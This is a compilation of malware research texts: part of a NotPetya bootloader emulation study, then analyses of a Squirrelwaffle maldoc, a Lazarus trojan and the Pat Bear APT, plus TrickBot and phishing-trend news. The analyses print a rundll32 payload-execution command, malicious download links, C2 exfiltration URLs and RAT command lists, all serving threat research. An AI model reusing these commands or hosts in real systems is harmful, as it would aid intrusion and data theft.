00000020: C8 04 04 00 56 6A 00 6A 01 6A 00 6A 20 8D 86 FC ....Vj.j.j.j ...
00000030: FD 50 8A 46 06 50 E8 21 0A 83 C4 0C 6A 00 68 8E .P.F.P.!....j.h.
```
The loaded code matches stage 2. Also, one can easily see the content loaded from sector 32:
```
Extended read sectors, drive idx 0x80
Read 1 sectors from sector 32
00000000: 00 AA 92 E7 82 11 15 D3 20 96 A7 75 51 C0 36 08 ........ ..uQ.6.
00000010: E8 65 42 8C 73 9F 06 53 77 CB C5 95 60 C8 38 69 .eB.s..Sw...`.8i
00000020: 9B 0D A4 99 E0 13 12 30 79 31 4D 7A 37 31 35 33 .......0y1Mz7153
00000030: 48 4D 75 78 58 54 75 52 32 52 31 74 37 38 6D 47 HMuxXTuR2R1t78mG
00000040: 53 64 7A 61 41 74 4E 62 42 57 58 00 00 00 00 00 SdzaAtNbBWX.....
```
This sector is where NotPetya stores data. According to the description done in MISC n°93, we can deduct its content:
- 0x00 is the encrypted disk flag,
- AA 92 E7 82 11 15 D3 20 96 A7 75 51 C0 36 08 E8 65 42 8C 73 9F 06 53 77 CB C5 95 60 C8 38 69 is the 32 bytes long Salsa20 key,
- 0D A4 99 E0 13 12 30 79 is an 8 bytes long nonce,
- Next data is the random string printed when the malware was executed on Windows at the beginning.
After the encryption is done by the bootloader, key and nonce are erased from disk with 32 successive writings of zeros. Moreover, we can see that sector 35 is used to store the number of total encrypted MFT entries. For example, here is the content of sector 35 right after the MFT header encryption:
```
Extended write sectors, drive idx 0x80
Write 1 sectors at offset 35 (from memory at 0x5C74)
00000000: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
```
### Retrieving Secrets in Memory
One of the advantages of emulation is the ability to easily analyze memory pages. In our case, it is possible to retrieve the Salsa20 key used, even after the MFT table has been encrypted (during the “false chkdsk”).
In fact, as explained in section INT 19h; after the encryption is over, the bootloader executes a “soft reboot” with the help of the interruption INT 19h. It doesn’t reboot completely the computer therefore the BIOS is not executed again. The data present in memory before the “soft reboot” is not tampered with. If the computer goes through hard reboot or reset, there would be great chances for the BIOS to overwrite data present on the stack with its own, including the precious Salsa20 key.
So, if the computer has not been rebooted or reset, it is pretty interesting to see if the Salsa20 key is still in memory. To do so, we simply read the key written in sector 32 and store its value. Then, we place a breakpoint on the instructions in charge to show the ransom message, at address 0x85AF:
```python
key = HD0.read(32*SECTOR_LEN + 1, 32)
jitter.add_breakpoint(0x85AF, functools.partial(find_key_in_mem, key=key))
```
The `find_key_in_mem` function browses the virtual machine memory to find the key stored in the previous step:
```python
def find_key_in_mem(jitter, key):
mem = jitter.vm.get_all_memory()
print("\n[+] Looking for key %s in memory..." % key.encode("hex"))
for addr, v in mem.iteritems():
idx = v['data'].find(key)
if idx == -1:
continue
print("[+] Key found at address %s!" % hex(addr + idx))
break
else:
print("[-] Key not found in memory!")
return True
```
This operation can be activated in the script using `--hook=find_key` option, like this:
```
$ python ./emulate-mbr.py --hook=find_key disk.raw
```
### Repairing File System on C:
[... encryption happens here ...]
[+] Looking for key [your salsa20 key] in memory...
[+] Key found at address 0x674a!
To speed up the process, the `--skip-encryption` option can be used. Be careful, even if this option is used, the encryption flag in sector 32 is still set. The `--dry` prevents this behaviour.
Because we know the address where the key is stored (0x674A), we can put a breakpoint on a write access at this location, allowing us to know which part of the bootloader writes this key:
```python
def print_ip(jitter):
print(hex(jitter.pc))
return False
jitter.exceptions_handler.callbacks[EXCEPT_BREAKPOINT_MEMORY] = []
jitter.add_exception_handler(EXCEPT_BREAKPOINT_MEMORY, print_ip)
jitter.vm.add_memory_breakpoint(0x674a, 1, PAGE_WRITE)
```
### Bootloader Modification to Decrypt the MFT
If we have a mechanism to write directly into the memory of the machine (for example by using a PCI Express card, or other interfaces like FireWire or Thunderbolt), it is possible to decrypt the MFT data. The attack consists in patching the bootloader memory so that its uses the remaining key on the stack. This section simulates this attack using Miasm.
To do so, we will inject some code at address 0x82A8. This function checks that the key entered is the expected one. Given that it has been erased from the hard drive, and that the ransom text is completely random, the bootloader has in theory no way to know if the entered key is the right one. This function will always return 0 (incorrect key). The injected code will copy the key Salsa20 from the 0x674A address to a specific location on the stack, so that the decryption function at 0x835A will use this key. We will then jump on this function.
Associated assembly code is the following:
```
; Save registers on the stack
PUSHA
LEA DI, WORD PTR [BP-0x44]
LEA BX, WORD PTR [key_addr]
XOR CX,CX
; Copy the key that remains on the stack to [bp-0x44]
loop:
MOV EAX, DWORD PTR [BX]
MOV DWORD PTR [DI], EAX
ADD DI, 4
ADD BX, 4
INC CX
CMP CX,8
JNZ loop
; Restore previously saved registers
POPA
; Jump on the decryption function (CS:OFFSET => using an absolute address)
JMP 0000:0x835A
```
We use Miasm to assemble it using the following function:
```python
def asm_shellcode(asm, labels=None):
machine = Machine("x86_16")
symbol_pool = asmblock.AsmSymbolPool()
# Assemble
blocks, symbol_pool = parse_asm.parse_txt(machine.mn, 16, asm, symbol_pool)
# Set custom labels
if labels is not None:
for name, value in labels.iteritems():
sym = symbol_pool.getby_name(name)
symbol_pool.set_offset(sym, value)
# Resolve all the labels
patches = asmblock.asm_resolve_final(machine.mn, blocks, symbol_pool)
# Patch the final code with the label values
shellcode = StrPatchwork()
for offset, raw in patches.items():
shellcode[offset] = raw
return str(shellcode)
```
Let’s take a look at this function. The code is first assembled using an x86 16-bit assembler. Given labels are then associated to concrete values using the `symbol_pool.set_offset` function. Remaining labels (in our case `loop`) are resolved with the `asmblock.asm_resolve_final` function, which returns assembly code for each block. We finally use the `StrPatchwork` function to assemble the final “shellcode”.
The `read_key_and_patch` function loads the key in memory, dumps it and writes the freshly assembled code in memory:
```python
def read_key_and_patch(jitter):
key_addr = 0x674A
key = jitter.vm.get_mem(key_addr, 32)
print("\n[+] Key from memory: %s" % key.encode("hex"))
shellcode = """
...
"""
shellcode = asm_shellcode(shellcode, {"key_addr": key_addr})
jitter.vm.set_mem(0x82A8, shellcode)
return True
```
The remaining thing to do is to put a breakpoint at the same address as in section Retrieving secrets in memory (0x85AF) to call this function:
```python
jitter.add_breakpoint(0x85AF, read_key_and_patch)
```
Everything is now set up. When the bootloader asks for the decryption key, the user will just have to press enter. The `--hook=patch_bootloader` flag of the `emulate_mbr` script performs this attack.
It is worth mentioning that we actually tried this at Synacktiv’s headquarters using vulnerabilities in HP’s iLO4 to gather the Salsa20 key from memory, patch the bootloader and decrypt MFT data. A full write-up of the experiment can be read on Airbus seclab website.
### Encryption Keystream Study
The encryption algorithm used is Salsa20 stream cipher. The general principle is: a random data flow based on a key - commonly called the keystream - is generated, and this stream is XORed with the data which will be encrypted. An advantage of stream ciphers is that the data to be encrypted do not need to be padded. On the other hand, one needs to be careful not to use the same parts of this stream twice.
#### Data Encryption with Salsa20
We can verify this using Miasm, by looking at the data before and after encryption, and by showing their XOR difference.
In order to do this, we already know how to put breakpoints. The beginning of the encryption function is at address 0x9798, and the end at address 0x9877. We are going to put the first breakpoint just after the `enter` instruction, and the second just before the `leave` statement, in order to have the stack properly aligned to recover data before and after encryption. The associated code is the following:
```python
_last_buf = None
def encrypt_start(jitter, options):
global _last_buf
buf_ptr = upck16(jitter.vm.get_mem((jitter.cpu.SS << 4) + jitter.cpu.BP + 0xC, 2))
buf_size = upck16(jitter.vm.get_mem((jitter.cpu.SS << 4) + jitter.cpu.BP + 0xE, 2))
_last_buf = jitter.vm.get_mem((jitter.cpu.DS << 4) + buf_ptr, buf_size)
return True
def encrypt_end(jitter, options):
global _last_buf
buf_ptr = upck16(jitter.vm.get_mem((jitter.cpu.SS << 4) + jitter.cpu.BP + 0xC, 2))
buf_size = upck16(jitter.vm.get_mem((jitter.cpu.SS << 4) + jitter.cpu.BP + 0xE, 2))
encr_buf = jitter.vm.get_mem((jitter.cpu.DS << 4) + buf_ptr, buf_size)
keystream = ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(_last_buf, encr_buf)).encode("hex")
keystream = ' '.join(keystream[i:i+4] for i in xrange(0, len(keystream), 4))
print("Keystream for next 2 sectors: %s" % keystream)
return True
```
The `--dump-keystream` flag of the `emulate_mbr` script enables this. By looking at the output, we can see that between two sectors (2*512 bytes), the keystream is only shifted by two bytes, instead of the normally required 2*512 bytes. This shift is schematized in the image below:
[... image ...]
We can also see that on a screenshot of the output of the `emulate_mbr` script below:
[... screenshot ...]
Thus, parts of the keystream are reused between sectors, which may help to recover some of its original data.
Indeed, if we consider `p` to be the clear text, `k` the keystream and `c` the encrypted text, then the encryption function `E` is defined as `E(p) = p xor k = c`. A part of the MFT structures being invariant and known, it is therefore possible, in two sectors, to find part of the keystream used for these two sectors. This one is reused for the two following sectors by being simply shifted by two bytes, so some of the clear text from these other areas can be found.
This vulnerability in the Salsa20 implementation of the bootloader has been exploited by CrowdStrike to recover a large portion of MFT’s original data (between 98.10% and 99.97% depending on the method).
## Conclusion
Emulation of the NotPetya bootloader code allows the verification of various assumptions and the understanding, in a very tangible way, of the different steps related to the encryption of MFT entries. In addition, it allows to easily find the bias in the Salsa20 keystream implementation (without having to statically reverse the algorithm), or to simulate the recovery of the key, which remains in memory after the encryption.
This article only shows a small subset of Miasm’s possibilities, and we hope that the approach adopted in this article will encourage uninitiated readers to try and play with it.
## Acknowledgments
We would like to thank gapz for his initial encouragement. Big thanks also to Camille Mougey and Fabrice Desclaux for their help and thorough reviews of this article! Thanks to Thomas Chauchefoin and zerk for their comments, and to Yseult for her help with the English translation.
|
# “Squirrelwaffle” Maldoc Analysis
**Summary**
Squirrelwaffle is an emerging malware threat noted by several security researchers beginning around September 13th. TheAnalyst, @ffforward noted a new payload delivered on the “TR” botnet. Brad Duncan at Malware Traffic Analysis also observed that this new loader was being delivered by the same “TR” infrastructure that historically delivered the Qakbot banking trojan. He also noted the name came from a tag in Proofpoint’s ruleset. According to Duncan, the name “Squirrelwaffle loader” was used in Proofpoint’s Emerging Threats ruleset to identify traffic from this malware.
In this blog, we will take a quick look at a recent Squirrelwaffle maldoc in order to gain some insights into the operators’ TTPs and the malware’s infection chain that I hope will help other researchers and responders in their efforts to identify and combat this new threat.
## Delivery and Execution
The recent downloader maldocs appear to be delivered via email campaigns with embedded URLs. Reports also seem to suggest that the campaigns leverage reply chain threadjacking technique that has been commonly deployed in historical Emotet and Qakbot campaigns. If a user clicks on the URL, a ZIP archive containing a Microsoft Word document is served.
### Squirrelwaffle Execution Chain
The documents appear to follow the naming convention of “diagram-[0-9]{2,3}/.doc”. These documents are weaponized with macros per usual. The macro leverages a cscript process to extract an embedded VBS script file, writes it to disk, and executes it via a wscript process. That VBS script contains an obfuscated PowerShell download cradle that attempts to download the Squirrelwaffle payload from a series of five locations.
The loader is written to the C:\ProgramData directory with a naming convention “www[1-5]{1}/.dll”, depending on the C2 from which it is retrieved. The DLL is then executed via a rundll32 process with an argument to export the “ldr” function. Predictably, a follow-on payload has been reported to be CobaltStrike.
### Cobalt Strike Payload you say?
The Word document is weaponized with VBA macros and leverages a series of scripts to kick off the execution chain and download the Squirrelwaffle payload. The document can be found here on VirusTotal:
- **filename:** inquiry diagram-74.doc
- **SHA256:** 195EBA46828B9DFDE47FFECDF61D9672DB1A8BF13CD9FF03B71074DB458B6CDF
The document uses a common DocuSign style template, presumably to enhance the perception of security and build a sense of trust with the user. However, the DOC also appears to be composed in Russian, which would hopefully be a red flag for the end user.
### DocuSign Template
Stepping into the VBA editor in Word, we can clearly see multiple modules that contain the VBA code that will kick off the execution chain. The VBA itself is lightly obfuscated, with some variable assignments and string reversals, but on the whole, it is not difficult to identify the code’s purposes.
The smoking gun with these malicious macros is always the “Sub AutoOpen()” function, which is the part of the code executed immediately when the user enables the macro content. In this case, this function serves as a pointer to another function called “eFile” in the “bxh” module.
There is also a UserForm object that has the VBS file (pin.vbs) hidden and embedded as the caption of the DocuSign image presented in the main DOC file. This UserForm labeled “t2” has a Caption field where the VBS file is hidden. The VBS file is then extracted from the Caption field of the Label and subsequently written to disk in C:\ProgramData\pin.vbs.
### VBA Modules and UserForm object
The VBS file is written with a Loop function that cycles through five different URLs that are each hosting Squirrelwaffle payloads. It attempts to download these and writes them to disk in C:\ProgramData and executes them via rundll32. The command line is a variation of the below:
`cmd/c rundll32.exe C:\ProgramData\ww1.dll,ldr`
The script itself is obfuscated fairly simply with just some split variable assignments designed to break up the strings such as:
- IEX (alias for the Invoke-Expression cmdlet)
- (New-Object Net.WebClient).Download
- and powershell
Many static detections are based on these particular strings so this indicates at least some minimal attempt at evasion. However, the URLs hosting the payloads and the commands designed to execute the DLL are clearly visible, and could easily be isolated here by running strings or grep from the command line without ever opening the DOC itself. The threat actors are likely to change this up in the future in order to frustrate automated analysis efforts.
## Conclusion
Anyways, that’s it, my take on a quick analysis of a recent “Squirrelwaffle” maldoc. It will be interesting to track these campaigns if they become more prevalent in the future. It is always worthwhile to take a look at adversary TTPs, and I hope this information will be helpful to investigators that may be looking to extract IOCs and better understand an emerging threat. As more information becomes available I will need to take a deeper dive into the payload’s capabilities, but will need to save that post for another time.
|
# A Detailed Analysis of Lazarus APT Malware Disguised as Notepad++ Shell Extension
## Summary
Lazarus has targeted its victims using job opportunity documents for companies such as Lockheed Martin, BAE Systems, and Boeing. In this case, the threat actor has targeted people looking for jobs at Boeing using a document called Boeing BDS MSE.docx. The malware extracts the hostname, username, network information, a list of processes, and other information that will be exfiltrated to one out of the four C2 servers. The data targeted for exfiltration is compressed, XOR-encrypted, and then Base64-encoded before being transmitted to the C2 server. The Trojan implements four actions that include downloading and executing a .exe or .dll file, loading a PE (Portable Executable) into the process memory, and executing shellcode.
## Technical Analysis
**SHA256:** 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269
The file is a DLL that has 7 exports. Only one of these functions implements malicious activity (DllGetFirstChild).
The malware retrieves the User Agent by calling the ObtainUserAgentString function. There is also a User Agent that is hardcoded in the binary: “Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0)”, which is Internet Explorer on Windows 10.
The binary extracts the current system date and time using the GetSystemTimeAsFileTime API.
GetModuleHandleW is utilized to retrieve a module handle for ntdll.dll.
The process gets the address of the following export functions using the GetProcAddress routine: “RtlGetCompressionWorkSpaceSize”, “RtlCompressBuffer”, “RtlDecompressBuffer”, “RtlGetVersion”. An example of a function call is shown.
The NetBIOS name of the local computer is extracted via a function call to GetComputerNameW.
The GetAdaptersInfo API is used to retrieve adapter information for the local machine.
The MAC address extracted above is written to a buffer.
The file extracts the command-line string for the current process.
CommandLineToArgvW is utilized to extract an array of pointers to the command-line arguments, along with a count of arguments (similar to argv and argc).
According to an article, the malware is supposed to run with the following parameters: “NTPRP6k+pR6iIKwJpU6oR6ZilgKPL7IxsitJAnpIYSx2KldSSRFFyUIzTBVFAwgzBkI2PS/+EgASBik/GgYBwBbRNy7pP+Xq4uTsxOXU6NPmudaEz7Xy5”. The binary decrypts the above parameter using a custom algorithm. The list of resulting strings contains multiple C2 servers.
The following URLs have been decrypted:
- mante.li/images/draw.php
- bmanal.com/images/draw.php
- shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php
- industryinfostructure.com/templates/worldgroup/view.php
The GetNetworkParams routine is used to retrieve network parameters for the local computer.
The malicious process extracts the name of the DNS domain assigned to the local host.
The following network information is written to a temporary buffer.
The process gets the username associated with the current thread by calling the GetUserNameW function.
The binary takes a snapshot of all processes in the system using the CreateToolhelp32Snapshot API.
The file extracts information about the first process from the snapshot via a call to Process32FirstW.
The malicious binary opens the process object using the OpenProcess routine. If the file doesn’t have enough rights to open a process, it copies “Unknown” along with the process name to a temporary buffer.
The binary takes a snapshot of the current process along with all its modules using the CreateToolhelp32Snapshot API.
Module32FirstW is utilized to retrieve information about the first module associated with the current process.
The malicious DLL gets information about the next process recorded in the snapshot.
The OpenProcessToken routine is used to open the access token associated with a process.
GetTokenInformation is utilized to extract the user account of the token.
The process retrieves the name of the account for a SID and the name of the first domain on which the SID is found via a function call to LookupAccountSidW.
GetTokenInformation is utilized to extract the Terminal Services session identifier associated with the token.
The RtlGetCompressionWorkSpaceSize API is used to determine the correct size of the WorkSpace buffer for the RtlCompressBuffer function.
The process compresses the buffers using the RtlCompressBuffer function.
The DLL randomly chooses a C2 server from the list of four. It initializes the application’s use of the WinINet functions via a call to InternetOpenW.
InternetCanonicalizeUrlW is used to canonicalize the URL.
The malware cracks the URL into its component parts by calling the InternetCrackUrlW API.
The connect, send, and receive timeouts are set to 150s using the InternetSetOptionW routine.
The DLL opens an HTTP session to the C2 server on port 443.
The binary creates a POST request handle to the URI extracted from the specified URL.
The security flags for the handle are set using the InternetSetOptionW API.
The buffer (concatenation of two buffers) that was compressed earlier is encrypted using XOR (key = 32-byte array).
The encrypted buffer from above is encoded using Base64.
The binary constructs the following parameters: “search=YOIPOUP&ei=6128&oq=<Base64-encoded buffer>”.
The User Agent extracted earlier is added to the HTTP request handle using the HttpAddRequestHeadersW routine.
HttpSendRequestW is used to exfiltrate data to the C2 server.
It’s worth mentioning that all C2 servers were down during our analysis. We’ve emulated network connections using FakeNet.
The size of the C2 response is retrieved by calling the HttpQueryInfoW routine.
The binary copies the C2 response to a buffer via a function call to InternetReadFile.
The malicious process parses the data between the “<html></html>” and “<div></div>” tags.
The malware performs a similar POST request with different parameter values: “search=DOWPANY&ei=6128”.
The C2 response is decoded using Base64, and then XOR decrypted. The malware implements 4 different actions that will be explained based on the EAX register value:
- **EAX = 0** – load a PE into the current process memory. GetNativeSystemInfo is utilized to retrieve information about the current system. The DLL performs multiple VirtualAlloc function calls that will allocate memory for the new executable. The malware changes the memory protection depending on the segment (for example, the code segment’s memory protection is set to PAGE_EXECUTE_READ). After a few more operations, the process passes the control flow to the new PE.
- **EAX = 1** – download and execute a .exe file. The binary gets the AppData folder path by calling the SHGetFolderPathW routine. GetTickCount is used to extract the number of milliseconds that have elapsed since the system was started. The malware creates a file based on the above value. The newly created file is populated with content that is supposed to be transmitted by the C2 server. The malicious binary executes the file by calling the CreateProcessW API.
- **EAX = 2** – download and execute a .dll file. The execution flow is similar to the above case, and we only highlight the difference. Rundll32.exe is used to execute the DLL file (an export function can also be specified in the command line).
- **EAX = 3** – copy and execute shellcode. The process allocates memory using the VirtualAlloc routine. The DLL implements an anti-analysis check. It calls the isProcessorFeaturePresent API to determine whether _fastfail() is available. If this feature is not supported, the current process is terminated. The malware jumps to the shellcode and then frees the memory area allocated earlier.
As we mentioned at the beginning of the analysis, the threat actor only added the export function explained above, and the others are legitimate. We’ve studied a legitimate Notepad++ shell extension and compared the export functions between the two files.
## Indicators of Compromise
**C2 domains:**
- mante.li
- bmanal.com
- shopandtravelusa.com
- industryinfostructure.com
**SHA256:** 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269
**URLs:**
- mante.li/images/draw.php
- bmanal.com/images/draw.php
- shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php
- industryinfostructure.com/templates/worldgroup/view.php
|
# Pat Bear (APT-C-37): Continued Exposure to an Armed Organization's Attacks
**March 25, 2019**
## Overview
Since October 2015, the Pat Bear Organization (APT-C-37) has launched an organized, planned, and targeted long-term uninterrupted attack against an armed organization. Its attack platform is Windows and Android. Up to now, 360 Beaconlab has captured 32 Android platform attack samples, 13 Windows platform attack samples, and 7 C&C domain names.
Due to its own political and religious issues, an armed organization has become the target of many hackers and countries. In March 2017, an armed group, the Amaq Media Channel, issued a warning message reminding visitors that the site has been infiltrated, and anyone who visits the site will be asked to download a virus file that pretends to be a Flash installer. From the news, we determined that an armed organization is the target of the action, and its load delivery method includes at least a puddle attack.
Through analysis, we found that a major C&C used by the Pat Bear organization is located in a certain country in the Middle East, and the C&C used by the golden rat organization of the same period belongs to the same network segment. Further analysis and comparison show that the two organizations have a strong correlation, and both contain their own unique RAT.
Since the target of the Pat Bear organization is aimed at an armed organization that supports dual-platform attacks, there has been only one unique animal in the Middle East with a soldier certificate in history. Combining some other characteristics of the organization and 360 pairs of APT naming rules, we named the organization a role name in the DOTA game - Pat the Bear.
## Load Delivery
The way of Pat Bear's load delivery is mainly through puddle attacks.
### Puddle Attack
The Al Swarm News Agency website is a media website belonging to an armed organization. For the same reason, it has also suffered various attacks from all over the world. It has changed several domain names and the website has been offline. In addition to the puddle attack on the Amaq media website mentioned above, we found that Al Swarm News Agency was also used by the organization for puddle attacks.
The puddle attack mode is to replace the normal app of the Al Swarm station with a malicious app inserted into the RAT. The RAT specific download link and the link corresponding file MD5 are shown in Table 1.
| Malicious Download Link | Domain Name Status | Download APK File MD5 |
|-------------------------|--------------------|------------------------|
| https://sawarim.net/apps/Sawarim.apk | Invalid | Bb2d1238c8418cde13128e91f1a77ae7 |
In addition to the above two puddle attacks against an armed organization's news media website, we also found that some other historical puddle attacks used by the organization are shown in Table 2, including the specific download links and links for Android and Windows RAT programs.
| Malicious Download Link | Domain Name Status | Download APK File MD5 |
|-------------------------|--------------------|------------------------|
| http://androids-app.com/downloads/Youtube_v3_4.apk | Invalid | Dc1ede8e2d3206b04cb95b6ae62f43e0 |
| http://androids-app.com/SystemUI.exe | Invalid | D2c40e2183cf18855c36ddd14f8e966f |
| http://snapcard.argia.co.id/woocommerce/wp-content/plugins/Adobe_FlashPlayerX86_64.exe | Invalid | 8c49833f76b17fdaafe5130f249312ca |
| http://snapcard.argia.co.id/woocommerce/wp-content/plugins/Adobe_FlashPlayer_installX86.exe | Invalid | E6e676df8250a7b930b2d016458225e2 |
## Induction Methods
The Pat Bear organization mainly uses the following two induction methods in this operation:
### Camouflage with Normal APP Function
In order to be better evasive, in addition to camouflaging the file icon, the RAT is also inserted into the normal app, such as an app called "لﻮﺳﺮﻟا تﺎﺟوز", which displays the normal interface after running. However, when the specified broadcast is received, espionage occurs in the background.
### File Icon Camouflage
## RAT Attack Sample Analysis
Up to now, the Pat Bear organization has used several different RATs for Android and Windows.
### Android
There are three RATs used on the Android side. Two of them (DroidJack and SpyNote) are more frequently used commercial RATs. We believe that a RAT developed specifically for this attack, named SSLove, has only appeared in this event and has been updated in several versions.
#### DroidJack
DroidJack is an extremely popular RAT with its own official website and powerful management tools. The organization uses DroidJack not only directly but also inserts it into the normal app to hide. Interestingly, SSLove will also be inserted into the app, meaning that the app will have two RATs at the same time.
#### SpyNote
SpyNote is similar to DroidJack. Although the Pat Bear organization uses SpyNote, the RAT has been used for a limited number of times in this attack.
#### SSLove
This is a RAT that was not previously exposed. According to the special character "runmylove" contained in the RAT, combined with it being the first RAT found to use SqlServer to implement instruction interaction, we named it SSLove. The latest version of SSLove has features such as stealing text messages, contacts, WhatsApp and Telegram data, and uploading files using FTP. The organization uses SSLove in the same way as DroidJack, either directly or hidden in a normal app.
### Windows
There are three RATs used on the Windows side, all of which have been popular in the Middle East for several years. Two of them (njRAT and H-worm) have been exposed multiple times but are still active.
#### NjRAT
NjRAT, also known as Bladeabindi, can control the registry, processes, files, etc. of the controlled terminal and can also record the keyboard of the controlled terminal. NjRAT uses a plug-in mechanism to extend its functionality through different plug-ins. The organization mostly does not use njRAT directly but sub-encapsulates it using C# to add a shell to njRAT, with a lot of confusion about the shell code. The shell's role is to load njRAT in memory to prevent detection by anti-virus software.
#### H-Worm
H-Worm is a VBS (Visual Basic Script) based RAT. The attack used the H-Worm version after confusion, and after the confusion was removed, we found that the list of instructions did not change.
| Instruction | Features |
|-------------|----------|
| Execute | Execute server command |
| Update | Update load |
| Uninstall | Uninstall yourself |
| Send | Download file |
| Site-send | Specify website download file |
| Recv | Upload data |
| Enum-driver | Enumeration driver |
| Enum-faf | Enumerate files in the specified directory |
| Enum-process | Enumeration process |
| Cmd-shell | Execution shell |
| Delete | Delete files |
| Exit-process | End process |
| Sleep | Set script sleep time |
#### Fkn0wned
Fkn0wned is a RAT written in VB.NET. This attack uses an earlier version. It only receives the "DOWNLOAD" command. The DDoS function code does not work. The RAT is actually a downloader.
## Distribution of the Attacked Area
Up to now, 360 Campfire Lab found that there were 11 countries affected by the Pat Bear organization attack. Through inquiry, it can be known that there are some armed organizations in these countries. The cause of this distribution is due to several targeted puddle attacks used by the organization.
## Traceability and Relevance
360 Bonfire Laboratory, through the analysis of the Pat Bear attack activity, combined with the previous analysis of the golden rat organization, found that the two organizations, aside from their attack targets and respective exclusive RATs, have very strong relevance. They are all familiar with Arabic and have been working on Android and Windows platforms for several years. They are good at puddle attacks and use a variety of RATs, most of which are used by both parties. Both organizations used C&C on the same network segment for two time periods.
## Summary
With geopolitical conflicts and other issues, the parties tried to take the lead through network intelligence and cyberattack activities, further causing cyberspace conflict to intensify. The Pat Bear organization is another spy intelligence activity organization based on this. Without the peace factor, the attack cannot be stopped. Recent reports claim that an armed group in a certain country in the Middle East has been attacked and declared dead. This may mean that the attack on the Pat Bear organization will change, and we hope that peace will last long!
## Appendix A: Sample MD5
**Android Attack Sample MD5**
- 12100da4635765f8d69d684f742a47bd
- 1d5e36be4b94289f214447964ede688d
- 1daf7e38d8d918e8e087ad590b299218
- 1eb8e8667ed7d2a07076e3d240207613
- 249aad5d2722b69aac7ed27c9e669c79
- 2706be45411ed22ce456b8fe8273b285
- 31aad6045f403fcd397e19cad4f80d1f
- 3751db0d511305b39601e09959491d8e
- 430a0b26cc53f7d39b8192d0b3f79837
- 4333a9e5d6de6e12b368f5a943a30a0e
- 484d74ebd0e3586e2ff694017dcaa9e3
- 51f7d6fec2be62fc29cfb94f52803428
- 523845736fc92ea80e9880641b768dc1
- 71d0cea1bee13d1e36b5a53788001b85
- 7d50a9bd474a7c5878ac8e0e4a183a8b
- 80382a7f2eb4f292a28554bc95b57938
- 98d584d4d575e31f9f4f70c9be05166f
- A31f1ce49662a60daa46180d02ab6218
- A41c5f227ac2816355ce4cf650993749
- A95d57eaaf7847a07e62c6ea0fecbfb7
- B7d12ab736b41d503e93a0bd6125cf62
- B87f516b2ee0e6df09510f75b16c25ef
- Bb2d1238c8418cde13128e91f1a77ae7
- Bef2dddd8892a4985879971cf437d79b
**Windows Attack Sample MD5**
- 085e195c9b14ef099171805c44ff4914
- 1a655affc8d5fffa48915a934f31f95e
- 291c3f5b9b53381283a044e337899c84
- 6d6961ced0e77c28f881db579301a927
- 8bb342a3e770717bd8f39ac12a687b54
- 8c49833f76b17fdaafe5130f249312ca
- Ba1249123e808e744aeb96753bc119d4
- Bfaf6389cb9fba695daa8552f697d40b
- D2c40e2183cf18855c36ddd14f8e966f
- D52f57b6597e55c40c21b0f8c763cd69
- D9153bdf30e0a3ab31601e43d85c9949
- Daf7f053cf78690ff0c6ec0384d85bf2
- E6e676df8250a7b930b2d016458225e2
## Appendix B: C&C
- 66.85.157.86
- 82.137.255.0
- Da3da3.duckdns.org
- Samd1.duckdns.org
- Samd2.duckdns.org
- Sorry.duckdns.org
- Btcaes2.duckdns.org
|
# Related News
**TrickBot malware suddenly got quiet, researchers say, but it's hardly the end for its operators**
*Written by Joe Warminsky*
*February 25, 2022 | CYBERSCOOP*
The operators of TrickBot have essentially shut down the notorious malware, multiple reports say, but evidence suggests the gang has begun using other platforms or folded operations into another cybercrime group altogether. Researchers at Intel471 and AdvIntel noted a sharp dip in recent TrickBot activity in separate reports Thursday, even though the command-and-control infrastructure for the malware remains operational.
Intel471 said “it’s likely that the Trickbot operators have phased Trickbot malware out of their operations in favor of other platforms,” probably Emotet — a development researchers have been tracking for months. AdvIntel’s Yelisey Boguslavskiy, meanwhile, said in his report that TrickBot’s operators had been subsumed into Conti, a Russia-linked cybercrime group known for offering “ransomware as a service” packages to its affiliates. Researchers previously had noted TrickBot connections with Conti.
“In name, at least, this means that TrickBot’s four-year saga is now coming to a close — the liaison that has defined the cybercrime domain for years has been reborn into a newer, possibly even deadlier form,” Boguslavskiy wrote. “However, the people who have led TrickBot throughout its long run will not simply disappear. After being ‘acquired’ by Conti, they are now rich in prospects with the secure ground beneath them, and Conti will always find a way to make use of the available talent.”
The Conti group, meanwhile, put its support behind Russia on Friday, saying it would use its full capabilities to strike back at any entity that threatens Russian critical infrastructure. “See you soon … or not,” AdvIntel CEO Vitali Kremez tweeted at Trickbot Thursday.
**Busy, but in other ways**
TrickBot first drew attention as trojan malware aimed at the banking industry, but it soon developed into a broader framework of tools for gaining access to sensitive networks in general. Separate takedowns led by U.S. Cyber Command and Microsoft in late 2020, as well as prosecutions of TrickBot leaders by U.S. law enforcement in 2021, put a significant dent in the gang’s operations.
The skills of TrickBot’s core group remain sharp, researchers say. A report earlier this month from Check Point Research noted recent upgrades to some Trickbot modules. The BazarBackdoor tool, for example, has become a brand unto itself for cybercriminals who want access to high-value targets, according to Intel471 and AdvIntel. Alexander Chailytko, Check Point’s cybersecurity research and innovation manager, told CyberScoop that there were some signs of successful requests of TrickBot command-and-control servers as recently as this week. Old infrastructure for the malware appeared to be “still maintained and operational” into 2022, Chailytko said, but has not been nearly as busy over the past two months.
|
# Related Insights
**By Jessica Ellis | April 21, 2021**
Malicious payloads delivered via email phishing continue to drive access to sensitive infrastructures and result in data compromise for enterprises. In Q1 of 2021, attack methods including malware campaigns have contributed to a 564% increase in individuals affected by a data leak, as well as a 12% increase in publicly-reported compromise.
As we continue to see leaks and widespread reports of ransomware attacks on organizations that may result in data made public, PhishLabs is monitoring the reported volume of payloads identified in user inboxes. The below are the top malware families targeting enterprises during Q1.
In Q1, ZLoader comprised almost 65% of all reported payload activity, dominating the overall volume of desktop malware. Although ZLoader started 2021 quietly, a one-day spike in attacks during February represented one of the greatest upticks for a single payload that we have observed in a 24-hour period in over a year. Since then, ZLoader has shown a strong presence, owning 79% of dropper activity in March. ZLoader is a multi-purpose malware-as-a-service (MaaS) that has maintained consistently high activity since 5/1/2020.
